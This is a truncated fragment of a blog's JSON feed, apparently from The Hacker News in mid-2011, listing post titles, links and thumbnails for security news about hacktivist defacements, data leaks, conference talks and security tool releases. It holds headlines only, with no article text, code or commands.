news.com/2011/08/defcon-19-android-network-toolkit-for.html","title":"#DefCon 19 : Android Network Toolkit for Penetration Testing and Hacking"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-nCsYXDcl8TE/TkAdES2PpFI/AAAAAAAACuE/LBh54JKfacE/s72-c/AntiApp-screenshots.jpg","height":"72","widt
...[SNIP]...
p://thehackernews.com/2011/08/call-for-defcon-chennai-dc602028-2011.html","title":"Call for DEFCON Chennai (DC602028) 2011 meet on 14th August"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-oB3sf4p6e9Q/TkAK34CxFcI/AAAAAAAACt8/wqqVHroOB6Q/s72-c/defcon+copy.jpg","height":"72","width":"72"}
...[SNIP]...
s.com/2011/08/oracle-other-companies-hacked-by-social.html","title":"Oracle, other companies hacked by Social Engineering attack in #DefCon 19"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-ovrFpRTYdDs/Tj_VaEp7NtI/AAAAAAAACtw/vnChoYpkjsA/s72-c/defcon19.png","height":"72","width":"72"}},{
...[SNIP]...
ckernews.com/2011/08/youth-peer-education-network-ypeer-of.html","title":"Youth Peer Education Network (YPEER) Of Syria Defaced by Cocain TeaM"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-UOYdyx3sW5U/Tj9qj9-UO-I/AAAAAAAACto/bLET_cdgegk/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
rnate","type":"text/html","href":"http://thehackernews.com/2011/08/sulekhacom-got-hacked-by-mr52.html","title":"Sulekha.com Got hacked by Mr52"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-YS0aS_nXnaQ/Tj9msJDtJSI/AAAAAAAACtg/i8Wwf4FRaWI/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
":"http://thehackernews.com/2011/08/syrian-ministry-of-defense-hacked-by.html","title":"Syrian Ministry of Defense hacked by Anonymous Hackers"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-CwJoemzMAcY/Tj9iB_zQCaI/AAAAAAAACtY/udyShknXQ5Y/s72-c/w3hgq.jpg","height":"72","width":"72"}},{"id
...[SNIP]...
/html","href":"http://thehackernews.com/2011/08/moshi-moshi-voip-bot-written-in-python.html","title":"Moshi Moshi : VoIP bot written in Python"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-xxmg2opVQz0/Tj6TKdA1NsI/AAAAAAAACtM/ya4g9qNnFWE/s72-c/Run-the-Python-script.jpg","height":"72","wi
...[SNIP]...
om/2011/08/10-year-old-girl-hacker-cyfi-reveal-her.html","title":"10 year old girl hacker CyFi reveal her first zero-day in Game at #DefCon 19"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-lLx9v5P5FM0/Tj6DyLE7-OI/AAAAAAAACtI/RXf_4U5PVzI/s72-c/2011_DefCon_19_CyFy_10_year_old_hacker_610x7
...[SNIP]...
/html","href":"http://thehackernews.com/2011/08/official-site-of-ndrrmc-hacked-by.html","title":"Official site of NDRRMC hacked by Cocain TeaM"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-Wq4dgEa3EwI/Tj5_HpoNTBI/AAAAAAAACtE/oj3kxLSguuA/s72-c/ndrrmc_hacked_embed.jpg","height":"72","widt
...[SNIP]...
tp://thehackernews.com/2011/08/lulzsecs-leader-sabu-can-be-at-defcon.html","title":"LulzSec's Leader Sabu can be at DefCon Security conference"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-15QnnmiPFx0/Tj9gsfkZ-6I/AAAAAAAACtQ/3hyM5L3wW98/s72-c/defcon-11.jpg","height":"72","width":"72"}},
...[SNIP]...
f":"http://thehackernews.com/2011/08/lulzsec-barzil-leaks-federal-police-8.html","title":"Lulzsec Brazil Leaks the Federal Police 8 GB of Data"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-hXC9tGyjjDg/Tj4ukKPqTYI/AAAAAAAACs8/2djpsMbx3kE/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
ernews.com/2011/08/pakistani-matrimonial-website-pakrishta.html","title":"Pakistani Matrimonial Website 'PakRishta' defaced by Cyb3r R3b3li@nZ"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-67xpyLatwi4/Tj4XAzYiWCI/AAAAAAAACs4/uJu6zzNYesA/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
tp://thehackernews.com/2011/08/italian-police-website-sappe-defaced-by.html","title":"Italian Police website SAPPE defaced by #Antisec Hackers"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-4oCMujEJ0RI/Tj116y7hrnI/AAAAAAAACsw/gk0CWcZ8H_E/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
http://thehackernews.com/2011/08/10gb-data-of-law-enforcement-agencies.html","title":"10GB data of law enforcement agencies leaked by #AntiSec"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-Fx_vfLHlRCI/Tj0CpV-dMwI/AAAAAAAACss/eZhaEcCLI9c/s72-c/RWngj+-+Imgur.jpg","height":"72","width":"72
...[SNIP]...
kernews.com/2011/08/pentagon-launches-cyber-fast-track.html","title":"Pentagon launches \"Cyber Fast Track\" program to fund hacker innovation"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-2oBfLVm2KR8/Tjwm8ksJRHI/AAAAAAAACsk/Nzx7AskEpks/s72-c/PUB_DARPA_Deep_Green_Concept_lg.jpg","height
...[SNIP]...
tp://thehackernews.com/2011/08/sig-sauer-security-intelligence-group.html","title":"SIG Sauer - Security Intelligence Group Hacked by LulzaMac"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-ERH2cwZyiCU/Tjwg3lIt0wI/AAAAAAAACsg/ytRVSChzX48/s72-c/SSAcad-course-bann%25282%2529.jpg","height":
...[SNIP]...
ext/html","href":"http://thehackernews.com/2011/08/forbescom-vulnerable-to-xss-injection.html","title":"Forbes.com Vulnerable to XSS injection"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-PiBaNZZJXjY/Tjv-e5EkNCI/AAAAAAAACsU/ENMCYwOZW9s/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
{"rel":"alternate","type":"text/html","href":"http://thehackernews.com/2011/08/blackbuntu-v03-released.html","title":"BlackBuntu V0.3 Released"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-Gd1pMzG2u8Q/Tjv5BdHmmvI/AAAAAAAACsM/NAcCjwsP3dw/s72-c/Blackbuntu.png","height":"72","width":"72"}}
...[SNIP]...
hehackernews.com/2011/08/customs-authority-of-yemen-hacked-for.html","title":"Customs Authority of Yemen hacked for Protest against Government"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-n-kCl5rKYuE/TjvtVf717SI/AAAAAAAACr8/ojWNML86fqw/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
ackernews.com/2011/08/blackhat-conference-square-mobile.html","title":"#Blackhat Conference : Square Mobile Gadget allows to Hack Credit Cards"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-Uv7m3sSRc_0/TjvljoQAc9I/AAAAAAAACr0/mlIJS4JZQTM/s72-c/2011_Black_Hat_square_credit_card_hack_610x4
...[SNIP]...
http://thehackernews.com/2011/08/c0c0n-2011-hacking-and-security.html","title":"c0c0n 2011 (Hacking and Security Conference) - Call for Papers"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-mZrHdOx5zdE/TjvgfMNZqmI/AAAAAAAACrw/KVbqW3divK4/s72-c/c0c0n_2.png","height":"72","width":"72"}},{"
...[SNIP]...
://thehackernews.com/2011/08/get-ready-for-microsoft-13-updates-for.html","title":"Get Ready for Microsoft 13 updates for August Patch Tuesday"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-DIw2NQTHkr8/TjvdwGmtv8I/AAAAAAAACrs/uzHNV21i7Uw/s72-c/microsoft-update.bmp","height":"72","width":
...[SNIP]...
ml","href":"http://thehackernews.com/2011/08/backbox-linux-distribution-based.html","title":"BackBox - Linux distribution based website Hacked"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-22y-sL0Bjrw/TjqIFBgUAAI/AAAAAAAACrk/KGFOyOP3wP0/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
ate","type":"text/html","href":"http://thehackernews.com/2011/08/mini-php-shell-279-v2-released.html","title":"Mini PHP Shell 27.9 V2 Released"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-MZfNLGrYow4/TjqC1uDFq-I/AAAAAAAACrg/Tf2tkYe4jPw/s72-c/15647br.jpg","height":"72","width":"72"}},{"
...[SNIP]...
t/html","href":"http://thehackernews.com/2011/08/social-engineer-toolkit-v20-released.html","title":"The Social-Engineer Toolkit v2.0 Released"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-a-o9rIhrrnA/TjqBafrPVhI/AAAAAAAACrc/6j6_CknCrxM/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
ref":"http://thehackernews.com/2011/08/gfi-sandbox-powerful-automated-malware.html","title":"GFI SandBox - Powerful automated malware analysis"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-SitCFbFlitU/TkopT4BIIbI/AAAAAAAACx4/ztBrKgeCcX8/s72-c/SandBox_logo_left_EN.jpg","height":"72","wid
...[SNIP]...
thehackernews.com/2011/08/timesofmoney-database-hacked-using-sql.html","title":"Timesofmoney Database Hacked using Sql Injection Vulnerability"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-dd8gnrxC7TU/Tjp1ucH_mwI/AAAAAAAACrE/tNmdMv9NdaM/s72-c/Timesofmoney.png","height":"72","width":"72"
...[SNIP]...
,"href":"http://thehackernews.com/2011/08/orangees-vulnerable-to-sqli-found-by.html","title":"Orange.es Vulnerable To SQLi - Found by Invectus"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-iYZG6iL5cz0/Tjpxc3MDD5I/AAAAAAAACrA/ynEml_h0X5M/s72-c/2hr3g41.png","height":"72","width":"72"}},{"
...[SNIP]...
text/html","href":"http://thehackernews.com/2011/08/jd-gui-fast-java-decompiler-download.html","title":"JD-GUI - Fast Java Decompiler Download"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-UKqg2KqRr6I/Tjpwu7S6YWI/AAAAAAAACq8/xcEbrySvZrc/s72-c/screenshot1.png","height":"72","width":"72"}
...[SNIP]...
ternate","type":"text/html","href":"http://thehackernews.com/2011/08/ollydbg-201-alpha-4-released.html","title":"OllyDbg 2.01 alpha 4 released"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-4X2oW-oFrdI/TjpbHQ5WNAI/AAAAAAAACq4/DsQuFJOssGM/s72-c/multilog.gif","height":"72","width":"72"}},{
...[SNIP]...
tp://thehackernews.com/2011/08/microsoft-bluehat-security-contest-mega.html","title":"Microsoft BlueHat Security contest - Mega Prize $250,000"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-hotuukHybLg/TjpYi1gldzI/AAAAAAAACq0/cRgjJ-Kc9zE/s72-c/header.jpg","height":"72","width":"72"}},{"i
...[SNIP]...
s.com/2011/08/british-police-issue-warning-to.html","title":"British police issue warning to Anonymous, Lulzsec and other internet hacktivists"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-4W3_sBf93RY/TjmBWxHstrI/AAAAAAAACqw/BE041v2NXng/s72-c/topiary.jpg","height":"72","width":"72"}},{"
...[SNIP]...
ref":"http://thehackernews.com/2011/08/cross-application-scripting.html","title":"Cross Application Scripting vulnerability in Android browser"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-sncIbQPKh3s/TjkrHHvMP8I/AAAAAAAACqk/AbvuRfpCcVQ/s72-c/android-broken.jpg","height":"72","width":"7
...[SNIP]...
://thehackernews.com/2011/08/operation-shady-rat-biggest-cyber.html","title":"Operation Shady RAT - Biggest Cyber Attacks in history uncovered"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-e8urx9ZYeNU/TjkjLVuKRVI/AAAAAAAACqg/OmRt5HKZxNA/s72-c/ShadyRAT_diagram_map.jpg","height":"72","wid
...[SNIP]...
://thehackernews.com/2011/08/pythonloic-python-low-orbit-ion-cannon.html","title":"PythonLOIC - Python Low Orbit Ion Cannon Ddos Tool Released"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-scHMwdDprq8/TjkZZqM4ZuI/AAAAAAAACqY/TCNd4sVjdRk/s72-c/844582-ion_cannon_firing_super.jpg","height"
...[SNIP]...
ckernews.com/2011/08/operation-defense-anonymous-shut-down.html","title":"Operation Defense - Anonymous shut down Colombia's president website"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-6NC4cU-SDjk/TjkRfUJgdWI/AAAAAAAACqU/QZ01LN60C_c/s72-c/anon.jpg","height":"72","width":"72"}},{"id"
...[SNIP]...
.com/2011/08/zero-day-flaw-in-wordpress-image.html","title":"Zero-day flaw in WordPress image utility allows to upload files and execute codes"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-kR17f9Np5lk/TjhmFqx-DhI/AAAAAAAACqQ/-w_Q7S1g8Kc/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
p://thehackernews.com/2011/08/ca-security-finds-android-trojan-which.html","title":"CA security finds Android Trojan which records phone calls"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-R4ROEhablwI/TjhefPu2biI/AAAAAAAACqE/SmZ0br9h2tU/s72-c/trojan-android.jpg","height":"72","width":"7
...[SNIP]...
":"text/html","href":"http://thehackernews.com/2011/08/sun-website-1000s-users-data-stolen.html","title":"Sun website 1000's users data stolen"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/--sN-ux5E2Qs/TjhJROT7BvI/AAAAAAAACqA/owcbqx8cAFQ/s72-c/lulzsec-hacks-sun-website-2.jpg","height":"7
...[SNIP]...
s.com/2011/08/italian-intelligence-agency-cnaipic.html","title":"Italian Intelligence agency CNAIPIC steals sensitive data from Indian Embassy"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-o_ZAC7g2Weg/TjhF_gXfskI/AAAAAAAACp8/w6Iol6tn7Jc/s72-c/cnaipic-500.jpg","height":"72","width":"72"}
...[SNIP]...
kernews.com/2011/08/on-4th-august-sap-systems-will-be.html","title":"On 4th August SAP systems will be hacked on internet in BlackHat USA 2011"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-5isXHXMDbDM/TjfgTrZp2fI/AAAAAAAACp4/P0ndND3hfpw/s72-c/black-hat-usa-2011.jpg","height":"72","width
...[SNIP]...
/html","href":"http://thehackernews.com/2011/08/30-china-government-sites-hacked-by.html","title":"30 China Government Sites Hacked By Hitcher"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-YTGeAt02SNI/Tje-kqcoKAI/AAAAAAAACpw/4z8_3vEH2ds/s72-c/Hitcher_ch.jpg","height":"72","width":"72"}}
...[SNIP]...
kernews.com/2011/08/anonymous-and-lulzsec-stand-for-jake.html","title":"Anonymous and Lulzsec stand for Jake Davis with #FreeTopiary Operation"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-CY9WAtzlxqE/TjbMlTn4IeI/AAAAAAAACpo/CiGKZMIjbAo/s72-c/PHjUB.jpg","height":"72","width":"72"}},{"id
...[SNIP]...
news.com/2011/08/another-government-contractor-pcs.html","title":"Another Government contractor - PCS Consultants (USA) got Hacked by #Antisec"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-AnEkDoae43U/Tja6ciSpe2I/AAAAAAAACpc/4JsSe9VyNuE/s72-c/Untitled1.jpg","height":"72","width":"72"}},
...[SNIP]...
href":"http://thehackernews.com/2011/08/lulzsec-hacker-topiary-released-on-bail.html","title":"Accused LulzSec hacker Topiary released on bail"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-xnnnKLR-6qA/Tja2lb2PUWI/AAAAAAAACpY/0V2BwXxDdiA/s72-c/Jake-Davis-007.jpg","height":"72","width":"7
...[SNIP]...
ttp://thehackernews.com/2011/07/vimeo-brazil-video-sharing-site-got.html","title":"Vimeo (Brazil) Video Sharing site got hacked by Terminal_pk"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-P_cyy_uDZK8/TjYTYGugluI/AAAAAAAACpA/yKm1tPVuCfc/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
ehackernews.com/2011/07/7000-law-enforcement-officers-details.html","title":"7000 law enforcement officers details leaked by Anonymous Hackers"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-XSliXtL_hIc/TjT7p1mGVJI/AAAAAAAACo4/8iURHXf3icE/s72-c/esmkx.jpg","height":"72","width":"72"}},{"id
...[SNIP]...
":"http://thehackernews.com/2011/07/zcompany-pakistani-hackers-deface-big.html","title":"ZCompany Pakistani Hackers deface big Indian Websites"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-FIA0k7il4cs/TjT3IAV2BMI/AAAAAAAACow/3LDyI6DRjOI/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
ernews.com/2011/07/77-law-enforcement-websites-hit-in-mass.html","title":"77 Law Enforcement websites hit in mass attack by #Antisec Anonymous"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-pLD9sY3Duqc/TjTtULlZcmI/AAAAAAAACos/g1pDZBbKd0s/s72-c/8BQUR.jpg","height":"72","width":"72"}},{"id
...[SNIP]...
text/html","href":"http://thehackernews.com/2011/07/btcrack-bluetooth-pass-phrase.html","title":"BTCrack - A Bluetooth Pass Phrase Bruteforcer"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-oTzR34RDAA8/TjTr8gjg10I/AAAAAAAACoo/aZSPUsyuAlY/s72-c/c146b1643c09.jpg","height":"72","width":"72"
...[SNIP]...
om/2011/07/italys-police-it-network-vitrocisetit.html","title":"Italy's Police IT network vitrociset.it Database Hacked and Leaked by #Antisec"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-ad6X0M8eVBU/TjVN3Ivq1WI/AAAAAAAACo8/jiu9RkEEiQE/s72-c/Sc25lgf.png","height":"72","width":"72"}},{"
...[SNIP]...
//thehackernews.com/2011/07/refref-denial-of-service-ddos-tool.html","title":"#RefRef - Denial of Service ( DDoS ) Tool Developed by Anonymous"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-v_gCKJilPLw/TjPob43lXiI/AAAAAAAACoU/dpq93BW25zY/s72-c/anon_ddos_tool+%25281%2529.jpg","height":"72
...[SNIP]...
rnews.com/2011/07/department-of-homeland-security-dhs.html","title":"Department of Homeland Security (DHS) Emails leaked by #Antisec Anonymous"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-AiMOa6iEKQ4/TjMJdfHHXbI/AAAAAAAACoE/6I0dAfBLcsc/s72-c/dhs.jpg","height":"72","width":"72"}},{"id":
...[SNIP]...
/2011/07/nicolas-sarkozys-official-elysee-palace.html","title":"Nicolas Sarkozy's official Elysee Palace website Hacked for 'Get Him Out' Game"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-D8JeFaA3JWc/TjKGtBG1LJI/AAAAAAAACns/Uk-HKTwoFQo/s72-c/Nicolas-Sarkozy_1809750c.jpg","height":"72",
...[SNIP]...
ehackernews.com/2011/07/south-korean-social-network-hacked-35.html","title":"South Korean social network hacked, 35 million users Data at risk"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-1hihRAkGSiI/TjKFkjOipdI/AAAAAAAACno/AOQVXlVCGGs/s72-c/cyworld1.jpg","height":"72","width":"72"}},{
...[SNIP]...
f":"http://thehackernews.com/2011/07/anonymous-hacks-defense-contractor.html","title":"Anonymous hacks Defense contractor ManTech for #Antisec"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-5tSo0H2xe2s/TjKA-D9C6LI/AAAAAAAACnk/zLfXlpLqCjI/s72-c/ManTech_Logo.jpg","height":"72","width":"72"
...[SNIP]...
"type":"text/html","href":"http://thehackernews.com/2011/07/squert-090-new-version-released.html","title":"SQueRT 0.9.0 - New version released"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-5We50ZsAI8g/TjIXRkeQeFI/AAAAAAAACnY/dQZHf1TP0ZA/s72-c/summary.png","height":"72","width":"72"}},{"
...[SNIP]...
:"http://thehackernews.com/2011/07/window-autopwn-winautopwn-auto.html","title":"Window AutoPwn (WINAUTOPWN) - Auto Hacking/shell Gaining Tool"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-5f-1OxDrK_g/TjHIa0iJT1I/AAAAAAAACnI/CfENfFUCEC8/s72-c/winAUTOPWN_GUI_Image2.jpg","height":"72","wi
...[SNIP]...
href":"http://thehackernews.com/2011/07/icq-vulnerable-to-account-theft-using.html","title":"ICQ vulnerable to account theft using JavaScripts"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-Jn2d-TWkLJo/TjHFVETUh3I/AAAAAAAACnE/nLxGxg9ABgc/s72-c/icq.jpg","height":"72","width":"72"}},{"id":
...[SNIP]...
ackernews.com/2011/07/paypal-gives-fbi-list-of-ip-address-of.html","title":"Paypal gives FBI the list of IP Address of 1,000 Anomymous hackers"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-U9EsvK9C13o/TjHCwWK3p5I/AAAAAAAACnA/MbnOpkq9Z18/s72-c/fbiagent-300x234.jpg","height":"72","width":
...[SNIP]...
